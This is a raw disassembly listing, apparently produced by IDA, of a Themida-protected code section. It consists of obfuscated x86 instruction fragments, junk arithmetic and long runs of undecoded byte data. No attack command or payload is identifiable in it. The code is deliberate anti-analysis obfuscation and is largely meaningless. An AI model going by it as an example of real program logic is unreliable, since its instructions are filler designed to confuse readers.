		jmp	loc_566547
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0FDh
		dd 8120253Fh, 0B27633C7h, 81CF0108h, 0B27633EFh, 0E9525908h
		dd 0FFFF08BBh, 5F5BDA01h, 2474FF52h, 2EE95A04h,	1FFFF5Dh
		dd 3C875AD7h, 24248B24h, 0FFCB8CE9h, 4BF57FFh, 0E9000000h
		dd 0FFFFD787h
; ---------------------------------------------------------------------------


loc_56E33C:				; CODE XREF: Themida_:0056EDCDj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_567DC3
; ---------------------------------------------------------------------------


loc_56E34B:				; CODE XREF: Themida_:00565BB6j
		pop	edi
		jmp	loc_568B2B
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 7F726850h, 40584987h, 0A90CFC2Dh, 8D8D0511h,	8150C821h
		dd 3AF7242Ch, 9AE94FDCh
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E373:				; CODE XREF: Themida_:00564E60j
		mov	ebp, 1B3B0D3Ah
		or	ebp, 460A371Fh
		neg	ebp
		not	ebp
		add	ebp, 47A601C7h
		push	eax
		mov	eax, 0F064E3Fh
		add	ebp, eax
		pop	eax
		xor	eax, ebp
		pop	ebp
		jmp	loc_56699D
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 5A22BF57h, 14BD63BCh, 29930497h, 2F0FE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E3AE:				; CODE XREF: Themida_:00566901j
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55FD27
; ---------------------------------------------------------------------------


loc_56E3BE:				; CODE XREF: Themida_:0056A203j
		pop	esp
		push	ax
		jmp	loc_56DF3B
; ---------------------------------------------------------------------------
		dw 0A22Dh
		dd 89A68CF4h, 0E8E958C1h, 88FFFF3Ah, 423E9DAh, 0CF81FFFFh
		dd 5DC71F9Eh, 1BFBF781h, 0F7813270h, 5FDBFB5h, 23E9FE01h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E3F3:				; CODE XREF: Themida_:0055F00Ej
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56E8B5
; ---------------------------------------------------------------------------
		db 0BEh
		dd 1E845FDCh, 0FF4BB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E411:				; CODE XREF: Themida_:00565546j
		push	edx
		mov	edx, edi
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	ecx
		jmp	loc_55E9AE
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0E1E7E924h, 0BFB7FFFFh, 4EC81h, 0C890000h, 6375E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E43E:				; CODE XREF: Themida_:0056D84Dj
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_55ED04
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0F847E953h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E45A:				; CODE XREF: Themida_:005635EEj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_55C4DB
; ---------------------------------------------------------------------------


loc_56E470:				; CODE XREF: Themida_:0055C879j
		push	5E2Dh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_565DBE
; ---------------------------------------------------------------------------
		dd 53247FBEh, 0CE81467Ch, 52F0A27h, 0FEF54DE9h,	59CB21FFh
		dd 0B3E9EB87h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E4AF:				; CODE XREF: Themida_:00560C47j
		mov	ecx, edi
		jmp	loc_55F751
; ---------------------------------------------------------------------------


loc_56E4B6:				; CODE XREF: Themida_:0056C2CDj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_569F51
; ---------------------------------------------------------------------------


loc_56E4C1:				; CODE XREF: Themida_:00570FB6j
		pop	edi
		jmp	loc_55C662
; ---------------------------------------------------------------------------


loc_56E4C7:				; CODE XREF: Themida_:00563D80j
		xor	ebx, 20673E75h
		sub	ebx, 0A9833392h
		jmp	loc_565613
; ---------------------------------------------------------------------------
		dd 4C481h, 88520000h, 23AE9CEh,	0F929FFFFh, 1C4F215Fh
		dd 0E9240C8Bh, 0FFFF5738h, 0FCE9D989h, 81FFFFF3h, 6609CAh
		dd 33E2814Fh, 0E960A834h, 0FFFFE407h
; ---------------------------------------------------------------------------


loc_56E50C:				; CODE XREF: Themida_:0056C90Ej
		not	eax
		jmp	loc_569706
; ---------------------------------------------------------------------------
		db 0B2h
		dd 80DAF615h, 0D50035F2h, 0A46E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E522:				; CODE XREF: Themida_:00560EB6j
		push	ecx
		jmp	loc_55D620
; ---------------------------------------------------------------------------


loc_56E528:				; CODE XREF: Themida_:0056F90Bj
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_565C7D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C2404FFh, 0FEDEE1E9h, 4C781FFh, 0E9000000h,	0FFFF6E4Dh
		dd 3F82DADh, 0D8010C83h, 35168h, 240C8900h, 8303F868h
		dd 2434FF0Ch, 0E3895359h, 4C381h, 24E90000h, 5EFFFFADh
		dd 3241E956h, 34FFFFFFh, 2015E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E582:				; CODE XREF: Themida_:0056A423j
		add	edx, 4
		sub	edx, 4
		jmp	loc_55C706
; ---------------------------------------------------------------------------
		db 29h
		dd 24048BC1h, 0FFC28CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E59D:				; CODE XREF: Themida_:005675D2j
		mov	esi, 5C7565F8h
		sub	eax, esi
		pop	esi
		add	eax, 0A5BB0E3h
		jmp	loc_564DC1
; ---------------------------------------------------------------------------
		db 80h
		dd 0D1285DE9h, 665DC180h, 0E9C8305Ah, 0FFFEE029h, 1536E181h
		dd 0C181571Eh, 38EFE3Bh, 2D59C829h, 29D87537h, 0FFAD84E9h
		dd 7A868FFh, 48B680Fh, 4C48124h, 35000000h, 680F07A8h
		dd 24348150h, 506369A1h, 5130428Fh, 0BA06857h, 875F3D72h
		dd 180EE9CFh, 0E7890000h, 0E7D5E951h, 0E589FFFEh, 495268h
		dd 24348900h, 0F769D3BEh, 37BA5221h, 535CE654h,	0CC0CE6BBh
		dd 35C28117h, 290A9038h, 35EA81DAh, 5B0A9038h, 0E62EA81h
		dd 0D609E31Bh, 8124148Bh, 4C4h,	58685500h, 5D23957Ah, 78DBCD81h
		dd 0B95141E0h, 6DFF254Ah, 0FFFFC181h, 8B68FFFFh, 8900000Bh
		dd 3C87240Ch, 6E2CE924h, 0C481FFFFh, 4,	62C368h, 24148900h
		dd 0FEF491E9h, 30FF66FFh, 0FFBF07E9h, 24248BFFh, 0FF3E57E9h
		dd 0E985B6FFh, 0FFFF21E9h, 0E5C0DDF6h, 99CD8006h, 6BE95066h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E6AB:				; CODE XREF: Themida_:0055CEF9j
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5640B4
; ---------------------------------------------------------------------------
		db 1
		dd 87C781CFh, 0E952D86Ah, 6D2h
; ---------------------------------------------------------------------------


loc_56E6D0:				; CODE XREF: Themida_:0057140Dj
		cmp	eax, edx
		jz	loc_56BFCF
		push	ecx
		mov	ecx, 0
		push	6CFAh
		mov	[esp], ecx
		pop	dword ptr [edi+20h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_564102
; ---------------------------------------------------------------------------
		dd 0E95EF229h, 0FFFF8DCAh, 4A19C181h, 0D9F707CBh, 364EBF57h
		dd 0BB530CADh, 73003890h, 815BDF31h, 44D89FC7h,	5FF931D8h
		dd 8159CB09h, 4ECh, 240C8900h, 0DF3C1EB9h, 99C381F7h, 294E5A2Eh
		dd 99EB81CBh, 594E5A2Eh, 1C8BDF01h, 4C48324h, 640BA52h
		dd 0DAF77B6Eh, 0F9BCEA81h, 0D7018491h, 243C335Ah, 33243C31h
		dd 248B243Ch, 0C8AF0F24h, 0A7E99C51h, 0FEFFFEDCh, 180E9C4h
		dd 248BFFFFh, 7E3C124h,	7685BA52h, 0DAF76CD5h, 78B8CA81h
		dd 0EA81396Dh, 40C810F1h, 203DE9h, 0C4815800h, 4, 0EC83C301h
		dd 24048904h, 8E3D1EB8h, 58C3014Fh, 8904EC83h, 25B82404h
		dd 517D9B34h, 0FFF1B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E7C9:				; CODE XREF: Themida_:0055CF14j
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5624D6
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFCD7CE9h, 4C681FFh, 50000000h, 288C6855h, 2C8B5118h
		dd 4C48324h, 0C103EDC1h, 0EDC107EDh, 2AED8102h,	0E9AC81A9h
		dd 0FFFFAB4Bh
; ---------------------------------------------------------------------------


loc_56E804:				; CODE XREF: Themida_:0056D199j
		sub	edx, eax
		pop	eax
		xor	edi, edx
		jmp	loc_567B61
; ---------------------------------------------------------------------------
		dw 0EAD0h
		dd 5103E2C0h, 8DE9EDB1h, 8BFFFF25h, 0C483243Ch,	242C8704h
		dd 0FEEB19E9h, 9BE181FFh, 81254D18h, 0EA0BE8F1h, 9DF18150h
		dd 2934235Ch, 93E959C8h, 5BFFFF11h, 4C381h, 0BF570000h
		dd 4, 3C8BFB01h, 4EC8324h, 89243489h, 4C681E6h,	81000000h
		dd 4C6h, 24348700h, 0FF32B0E9h,	3832BAFFh, 0C6BE6BFCh
		dd 1EE9D3Fh, 24148BD6h,	5704C483h, 2F7401BFh, 4E7C12Ch
		dd 0F311B850h, 0C7299320h, 0E9FE0958h, 0B28h, 46B968h
		dd 24048900h, 405E089h,	0E9000000h, 0FFFF12D6h,	0FEDB6DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E8B5:				; CODE XREF: Themida_:0056E402j
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	esi
		mov	esi, 7EED4EA8h
		shr	esi, 6
		xor	esi, 6A4FADEh
		mov	ecx, esi
		pop	esi
		jmp	loc_56D96B
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 8904EC83h, 0CFB1240Ch, 6C186866h,	24148966h
		dd 0FEE064E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E8ED:				; CODE XREF: Themida_:0056FD82j
		or	ch, 7
		sub	ch, 7Ch
		sub	dh, ch
		pop	ecx
		not	dh
		or	dh, 0DFh
		jmp	loc_57013A
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFF58B6h, 3954BA52h, 0D589615Ch, 8124148Bh
		dd 4C4h, 0D8E95200h, 31FFFF2Dh,	0C33240Ch, 0F88EE924h
		dd 0E6C1FFFFh, 4FE68102h, 0E90BB22Dh, 0FFFF4643h, 0B1240C89h
		dd 0E9CA88CEh, 0FFFFD588h, 50243489h, 0E951E089h, 0FFFEF7D5h
		dd 24048B66h, 208B6855h, 24890000h, 12F7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E962:				; CODE XREF: Themida_:0056E04Ej
		mov	edx, 61307111h
		mov	ebp, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_566849
; ---------------------------------------------------------------------------
		dd 83242489h, 8B042404h, 0C483242Ch, 4C58104h, 50000000h
		dd 4B8h, 58C50100h, 0FF211EE9h,	4EE81FFh, 0E9000000h, 0FFFFD980h
		dd 6804C483h, 13C3h, 0FFCF96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E9AD:				; CODE XREF: Themida_:0056A5A1j
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		jmp	loc_568B08
; ---------------------------------------------------------------------------
		dd 0C108E7C1h, 0C78105E7h, 20827271h, 15FF801h,	65B951D8h
		dd 81233872h, 0D71233C9h, 0AC9815Bh, 0E932342Ch, 0FFFFFBE0h
		dd 0E9F02958h, 0FFFF1A48h
; ---------------------------------------------------------------------------


loc_56E9E8:				; CODE XREF: Themida_:0055FF79j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	ecx
		jmp	loc_56C3B5
; ---------------------------------------------------------------------------


loc_56E9F6:				; CODE XREF: Themida_:0055ED5Dj
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55F814
; ---------------------------------------------------------------------------


loc_56EA01:				; CODE XREF: Themida_:0056D59Fj
		mov	esi, 0E8C025A5h
		sub	eax, esi
		pop	esi
		dec	eax
		sub	eax, 3EB46A83h
		add	eax, 79C9F48Bh
		push	5CA7h
		mov	[esp], edi
		mov	edi, 5D706F7h
		add	ebx, edi
		pop	edi
		add	ebx, eax
		sub	ebx, 5D706F7h
		pop	eax
		mov	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, edx
		push	4630h
		jmp	loc_55DD58
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 69A40D17h, 4FBBF57h,	0FA292F3Ch, 0DEE95D5Fh,	5FFFFBFh
		dd 3A3401E0h, 7CFA685Ah, 3C890000h, 6A596824h, 0E2E953D2h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EA6F:				; CODE XREF: Themida_:0055FCCEj
					; Themida_:0056526Bj ...
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	102Fh
		push	4462h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_561119
; ---------------------------------------------------------------------------
		db 3, 62h, 38h
		dd 0FFAFC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EA9D:				; CODE XREF: Themida_:0055D7C0j
		sub	edx, 1
		dec	edx
		not	edx
		jmp	loc_55DFFF
; ---------------------------------------------------------------------------
		db 58h
		dd 0EAC1EAD1h, 6EE95506h, 50FFFFAFh, 0E951E888h, 0FFFFE7C4h
; ---------------------------------------------------------------------------


loc_56EAC0:				; CODE XREF: Themida_:0056156Fj
		push	edi
		mov	esi, [esp]
		push	13B8h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 37603F9Ah
		sub	edi, 37603F96h
		add	esi, 3DCC033Bh
		jmp	loc_56DDEA
; ---------------------------------------------------------------------------
		db 57h
		dd 1217C0BFh, 5FFE29C9h, 835EF001h, 1C8904ECh, 1415BB24h
		dd 0B1E95CACh
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56EB07:				; CODE XREF: Themida_:0056EB73j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ebx
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5697D1
; ---------------------------------------------------------------------------
		dd 4C481h, 81410000h, 0A57D4CC1h, 0ADE18169h, 81502D6Dh
		dd 2469A9F1h, 8BCD0110h, 0C481240Ch, 4,	0CA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_56EB55:				; CODE XREF: Themida_:0056CF29j
		shl	esi, 8
		add	esi, 15EA1209h
		add	esi, 0CD27643Fh
		sub	ebx, esi
		pop	esi
		shr	ebx, 5
		inc	ebx
		push	ecx
		mov	ecx, 7723A4Eh
		xor	ebx, ecx
		jmp	loc_56EB07
; ---------------------------------------------------------------------------
		dd 2166BB53h, 0D0E9708Ah, 0FFFF4Ah, 4EC81C3h, 0E9000000h
		dd 0FFFF39A9h, 2414F757h, 6EFC15Fh, 0FF16E0E9h,	0E68956FFh
		dd 4C681h, 0E8E90000h, 8000001Fh, 0E530B2F4h, 4EC8158h
		dd 0E9000000h, 0FFFF5D1Ah, 88B95150h, 411E3506h, 9C4FE981h
		dd 0C889B219h, 0FFF20BE9h, 83E957FFh
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EBD7:				; CODE XREF: Themida_:0055E3DEj
		mov	[esp], ebx
		jmp	loc_55E0A0
; ---------------------------------------------------------------------------
		db 81h
		dd 3C5B75E9h, 24BB5325h, 0E93D8313h, 0FFFF8A89h, 0D0F7D8F7h
		dd 0F706E0C1h, 78405D8h, 0C1011299h, 8324048Bh,	0E95104C4h
		dd 0FFFF3586h, 24042166h, 0D80CE99Ch, 0ED81FFFEh, 304E6918h
		dd 7AAFE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC22:				; CODE XREF: Themida_:00568B0Ej
		sub	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_56C4A9
; ---------------------------------------------------------------------------
		dd 0E92424D3h, 0FFFED7DEh, 33A768h, 498E900h, 0C8BDFFFFh
		dd 0E905F30Ch, 0FFFF760Ch, 0BB241C89h, 2, 2E32BE56h, 0EE817EF7h
		dd 1AE33CBBh, 0FF9424E9h, 48B66FFh, 89565724h, 4C681E6h
		dd 51000000h, 4B9h, 59CE2900h, 23D2E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC8E:				; CODE XREF: Themida_:0056D29Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_565144
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 87E9240Ch, 0C1FFFF60h, 0E8C105E8h, 0FFFF2D08h
		dd 0E0C1FFFFh, 9AE95706h, 0FFFFFF6Dh, 81592434h, 4C4h
		dd 49E95300h
		db 7, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ECDB:				; CODE XREF: Themida_:00567072j
		mov	[esp], ecx
		jmp	loc_562E12
; ---------------------------------------------------------------------------
		db 0F6h
		dd 6E1C0D1h, 0B2525052h, 0E9D088EDh, 0FFFFD5B2h, 8124148Bh
		dd 4C4h, 0BA46E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ED02:				; CODE XREF: Themida_:00568F1Dj
		add	ebp, 2E045965h
		add	ebp, 0FFFFFFFFh
		jmp	loc_55FCAD
; ---------------------------------------------------------------------------
aLRhx_		db '‹,$Rhå.',0
		dd 24248900h, 4240483h,	1822E95Ah, 0BD550000h, 3C8D00A3h
		dd 0FFF3E6E9h, 75E1BEFFh, 0BD553F17h, 0FBB05E3h, 3115F581h
		dd 0C68117EDh, 10C04174h, 4D58EE81h, 0C6816052h, 40F040D5h
		dd 0FEF1C6E9h, 4EC81FFh, 89000000h, 0D5E92424h,	0FFFFFF4Fh
		dd 50592434h, 405E089h,	0E9000000h, 0FFFF05A1h,	5724048Bh
		dd 243C8B54h, 8104C483h, 4ECh, 24348900h, 4EC81h, 69E90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ED97:				; CODE XREF: Themida_:005700C0j
		xor	edi, 54672D36h
		jmp	loc_56B1D1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 1701E924h, 74FF0000h, 8F5E0424h, 835C2404h, 77E904ECh
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EDBB:				; CODE XREF: Themida_:005683F3j
		sub	ecx, 7D565CCBh
		sub	ecx, ebp
		add	ecx, 7D565CCBh
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_56E33C
; ---------------------------------------------------------------------------
		dw 487h
		dd 0BF575C24h, 66C25B23h, 0FFC6D9E9h, 5FF829FFh, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 0FF240489h, 25582404h, 5BB055C7h
		dd 0FF59BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EE05:				; CODE XREF: Themida_:0055FACBj
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	bl, 0A4h
		sub	ch, bl
		pop	ebx
		xor	ch, 6Ch
		jmp	loc_55D267
; ---------------------------------------------------------------------------
		dd 161268h, 241C8900h, 0D8287AB3h, 5B2434FFh, 0E904C483h
		dd 0FFFF2BF6h, 0F7240489h, 3CE92414h, 89FFFF5Dh, 74FF2404h
		dd 0B9E90424h, 89FFFF9Fh, 0B5512404h, 4E5C0E1h,	8857ED80h
		dd 0E38859ECh, 5BD83058h, 0FFB0C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EE6D:				; CODE XREF: Themida_:0055E9E5j
		push	2557h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_561402
; ---------------------------------------------------------------------------
		db 1, 0DDh, 8Bh
		dd 0C481241Ch, 4, 875DEE01h, 248B2434h,	9B14E924h, 48FFFFFh
		dd 0FB1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EEAA:				; CODE XREF: Themida_:0056A4E4j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		jmp	loc_5698F4
; ---------------------------------------------------------------------------


loc_56EEBE:				; CODE XREF: Themida_:0056C3D9j
		mov	[esp], esp
		jmp	loc_56346D
; ---------------------------------------------------------------------------
		dw 5D68h
		dd 89000032h, 9FE9242Ch
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EED3:				; CODE XREF: Themida_:0056EF15j
		pop	ecx
		push	edi
		mov	edi, 21CB44F9h
		jmp	loc_56E092
; ---------------------------------------------------------------------------


loc_56EEDF:				; CODE XREF: Themida_:005709E6j
		mov	edi, 2345761Dh
		xor	edi, 0D5B6FC4h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	3E55667Bh
		mov	esi, [esp]
		jmp	loc_55E17A
; ---------------------------------------------------------------------------


loc_56EF13:				; CODE XREF: Themida_:00567953j
		sub	ebp, ecx
		jmp	loc_56EED3
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 0B30CE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EF22:				; CODE XREF: Themida_:005700A2j
		push	eax
		mov	eax, 1546151Bh
		or	eax, 1B357EFFh
		sub	eax, 49262215h
		push	esi
		mov	esi, 6B9143A4h
		and	eax, esi
		pop	esi
		add	eax, 857CFE1Fh
		sub	esp, 4
		jmp	loc_567D80
; ---------------------------------------------------------------------------
		db 89h
		dd 0D4BD242Ch, 684A066Dh, 2794h, 0FFECDBE9h, 0D5C181FFh
		dd 89B8A9F7h, 0DE0559CDh, 1071C0Eh, 0EDE2DE8h, 505D071Ch
		dd 0FF29D2E9h, 2414F7FFh, 1C7815Fh, 81000000h, 0A4995EFh
		dd 32EF8102h, 5740B9F6h, 2240481h, 0FF79F640h, 815B2434h
		dd 4C4h, 0ABB95100h, 813ECF57h,	454B7CE9h, 0C1814116h
		dd 516C33D2h, 0C8BCB29h, 98B3E924h, 815FFFFFh, 0C84C89F3h
		dd 5BD82156h, 2B86612Dh, 58C32959h, 1C8BDF01h, 4C48324h
		dd 0E904C783h, 0FFFF3067h
; ---------------------------------------------------------------------------


loc_56EFE0:				; CODE XREF: Themida_:0055DDA9j
		mov	eax, esp
		push	esi
		jmp	loc_563998
; ---------------------------------------------------------------------------
		dd 0E9240487h, 0FFFFD9A1h, 4254EE81h, 0F331E496h, 8BD8315Eh
		dd 0C483241Ch, 0B60F6604h, 17686600h, 0BE30E925h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F00E:				; CODE XREF: Themida_:00561F8Bj
		not	ebx
		shr	ebx, 3
		add	ebx, 0F45BAF84h
		add	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 64945F6Ch
		push	ebp
		mov	ebp, 3B5A1367h
		shl	ebp, 8
		push	ebx
		mov	ebx, 706249B3h
		sub	ebx, 120D21E6h
		shl	ebx, 7
		push	ebp
		jmp	loc_56AD63
; ---------------------------------------------------------------------------


loc_56F040:				; CODE XREF: Themida_:005650A7j
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 316D0E52h
		add	ebp, 0EA3E5F73h
		push	ebp
		pop	edx
		jmp	loc_56CFA6
; ---------------------------------------------------------------------------
		dd 33242C31h, 815C242Ch, 334A3DC3h, 0FDEB8155h,	179D51Fh
		dd 0FDC381C3h, 8179D51Fh, 334A3DEBh, 4EC8155h, 89000000h
		dd 57E9240Ch
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F08B:				; CODE XREF: Themida_:00564E53j
		xor	ebx, 0E7411FC1h
		add	edx, ebx
		pop	ebx
		add	edx, esi
		jmp	loc_56D541
; ---------------------------------------------------------------------------
		db 33h
		dd 0D1E92434h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F0A3:				; CODE XREF: Themida_:0056C5A9j
		and	ecx, 61F6108Eh
		jmp	loc_56AC85
; ---------------------------------------------------------------------------


loc_56F0AE:				; CODE XREF: Themida_:0055F355j
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55F013
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4Fh
		dd 8944ABC8h, 0E1C15BD9h, 19BE5603h, 837F531Bh,	0E6C1FFC6h
		dd 0D2F68104h, 31D78836h, 2434FFF1h, 0FFD304E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F0F1:				; CODE XREF: Themida_:00563D6Cj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56F244
; ---------------------------------------------------------------------------


loc_56F100:				; CODE XREF: Themida_:0056F80Bj
		mov	ebx, 2A223683h
		jmp	loc_56F908
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 29C212DAh, 835AD101h, 48904ECh, 4BE5624h, 0E90D3C15h
		dd 0FFFFF0CBh, 0FED2F9E9h, 4BFCB9FFh, 0CF317E75h, 592434FFh
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 815C2414h, 9855FAEFh
		dd 0F2F78146h, 508A8F00h, 10055EB8h, 43D5053Ah,	0E94032C8h
		dd 0FFFF0267h, 240C8B5Ah, 4EF668h, 242C8900h, 0C581E589h
		dd 4, 4C581h, 96E90000h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F183:				; CODE XREF: Themida_:0055DB69j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55E5A7
; ---------------------------------------------------------------------------


loc_56F18E:				; CODE XREF: Themida_:0055E397j
		pop	ebp
		xor	esi, edi
		jmp	loc_562E1C
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0F3E90000h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F1A3:				; CODE XREF: Themida_:0056D237j
		add	edi, 2F506F1Fh
		and	edi, 2E314708h
		jmp	loc_56DBA0
; ---------------------------------------------------------------------------
		dd 0D334EB81h, 0DA89AF4Bh, 27C1815Bh, 174696Dh,	27BE56D1h
		dd 2974696Dh, 0B964E9F1h, 8B66FFFFh, 0EC83240Ch, 240C8904h
		dd 135B68h, 48F5400h, 24048124h, 4, 4BB5359h, 81000000h
		dd 173E08C1h, 81D90169h, 173E08E9h, 2434FF69h, 4C4835Bh
		dd 78DD68h, 242C8900h, 2BDh, 43BA5200h,	87474E4Ah, 87D7F7FAh
		dd 88E6E9FAh, 0D989FFFFh, 0D8CBE95Bh, 8B66FFFFh, 8950240Ch
		dd 0B92CE9E0h, 0C329FFFFh, 0E9FB2958h, 0FFFFD775h
; ---------------------------------------------------------------------------


loc_56F244:				; CODE XREF: Themida_:0056F0FBj
		push	60BE186Eh
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	4FFDh
		mov	[esp], ebx
		push	7FF92A36h
		pop	ebx
		push	edx
		mov	edx, 41AE4EA7h
		jmp	loc_55D9CF
; ---------------------------------------------------------------------------
		dd 4C381h, 0AD680000h, 89000039h, 4BD242Ch, 29000000h
		dd 89565DEBh, 4C681E6h,	81000000h, 4EEh, 24348700h, 0A02AE95Ch
		dd 0FFBDFFFFh, 29FFFFFFh, 0F3815DEBh, 4052452Bh, 8B1C5F09h
		dd 0C481241Ch, 4, 0FED169E9h, 0C4835AFFh, 0D995E904h, 0C481FFFFh
		dd 4, 0E904C083h, 6Eh, 405E089h, 83000000h, 48704C0h, 7CBFE924h
		dd 1B8FFFFh, 29000000h,	0EF8158C7h, 6E831CFBh, 555FFE01h
		dd 5B7862BDh, 66E5813Ah, 811F6612h, 0F33C9BEDh,	10ED816Bh
		dd 0E943A94Eh, 0FFFF2E52h, 81242C8Bh, 4C4h, 4BF5700h, 83000000h
		dd 0C8904ECh, 51B85024h, 0E94C7263h, 0FFFF24D7h, 33240431h
